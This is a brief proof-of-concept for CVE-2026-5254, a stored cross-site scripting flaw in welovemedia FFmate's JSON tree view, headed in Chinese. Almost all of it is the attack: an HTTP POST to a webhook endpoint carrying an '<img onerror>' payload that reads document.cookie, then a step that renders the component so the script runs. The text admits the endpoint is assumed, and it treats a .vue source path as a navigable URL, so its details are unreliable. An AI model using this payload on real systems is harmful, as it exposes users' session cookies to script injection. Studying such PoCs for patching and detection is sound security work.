CVE-2026-5254 welovemedia FFmate 跨站脚本漏洞

// PoC for CVE-2026-5254 // Targeting the AppJsonTreeView.vue component in welovemedia FFmate // Step 1: Send malicious payload via Webhook Handler // The endpoint might vary, assuming a standard API structure POST /api/webhook HTTP/1.1 Host: target.com Content-Type: application/json { "json_tree_data": "<img src=x onerror=alert(document.cookie)>", "handler_config": "malicious" } // Step 2: Trigger the vulnerability // Navigate to /ui/app/components/AppJsonTreeView.vue // The malicious script executes upon rendering the JSON tree.